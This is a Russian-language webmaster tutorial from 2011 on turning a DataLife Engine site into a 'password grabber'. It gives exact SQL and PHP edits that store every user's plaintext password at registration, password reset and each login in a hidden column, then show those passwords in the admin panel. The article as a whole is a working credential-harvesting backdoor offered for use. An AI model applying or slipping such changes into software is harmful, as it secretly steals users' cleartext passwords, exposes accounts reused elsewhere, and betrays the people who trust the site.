Главная

Добавить
статью


Форум


Новости


RSS


Обратная
связь
друзья


реклама



Для вебмастера » DLE - DataLife EngineСоздаем свой граббер паролей

Добавил madjesty | 7-04-2011, 18:06 | Мнений: 0 | Заглянули 3158

Создаем грабер паролей

Сейчас расскажу в этой статье вам как за 10 минут сделать грабер паролей..

Что нужно:
Колонка в мускуле и изменения кода файлов...

Добавляем колонку в таблицу с юзерами, назовем ее passer(а так как хотите, только потом в запросах замените)...

 

 

ALTER TABLE dle_users ADD `passer` varchar(40) NOT NULL AFTER `password`;


Теперь нужно рассмотреть 3 ситуации:

 

Регистрация.
Вход.
Востановления пароля
Админка

1) регистрация.
открываем engine/modules/register.php

 

ищем:

$password1 = $_POST['password1'];


ниже вставляем

 

$passer = $_POST['password1'];


ищем запрос в базу (в конце..)


$db->query( "INSERT INTO " . USERPREFIX . "_users (name, password, email....) VALUES ('$name', '$regpassword', '$email'....


вставляем колонку passer


$db->query( "INSERT INTO " . USERPREFIX . "_users (name, password, passer, email...) VALUES ('$name', '$regpassword', '$passer', '$email',


готово, сохраняем...
регистрацию сделали...

 

2) востановление пароля
открываем engine/modules/lostpassword.php

 

ищем:

 

$db->query( "UPDATE " . USERPREFIX . "_users set password='" . md5( md5( $new_pass ) ) . "', allowed_ip = '' WHERE user_id='$douser'" );


заменяем на


$db->query( "UPDATE " . USERPREFIX . "_users set password='" . md5( md5( $new_pass ) ) . "', passer='".$new_pass."', allowed_ip = '' WHERE user_id='$douser'" );


готово, сохраняем...

3)вход на сайт
открываем engine/modules/sitelogin.php

 

ищем:


$_POST['login_password'] = md5( $_POST['login_password'] );


ДО ЭТОГО вставляем


$passer = $_POST['login_password'];


ниже в двух местах ищем


lastdate='{$_TIME}', logged_ip='" . $_IP . "'


заменяем на


lastdate='{$_TIME}', logged_ip='" . $_IP . "', passer='".$passer."'


по смыслу все...

4) админка
теперь добавляем вывод пароля при просмотре профиля в админке...
открываем engine/inc/editusers.php

ищем:


<tr>
<td style="padding:4px;">{$lang['user_newpass']}</td>
<td colspan="2"><input size="20" name="editpass" class="edit" /></td>
</tr>


ниже вставляем:

 

<tr>
<td style="padding:4px;">Пароль:</td>
<td colspan="2">{$row['passer']}</td>
</tr>


или, чтобы просмотр был возможен только пользователю с id=1

HTML;
if($member_id['user_id'] == "1") {
echo <<<HTML
<tr>
<td style="padding:4px;">Пароль:</td>
<td colspan="2">{$row['passer']}</td>
</tr>
HTML;
}
echo <<<HTML

 

Готово ;)

Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

Комментарии:

Оставить комментарий


популярное



календарь



опрос



счетчики



Реклама



Логин: (регистрация? Пароль (забыл?):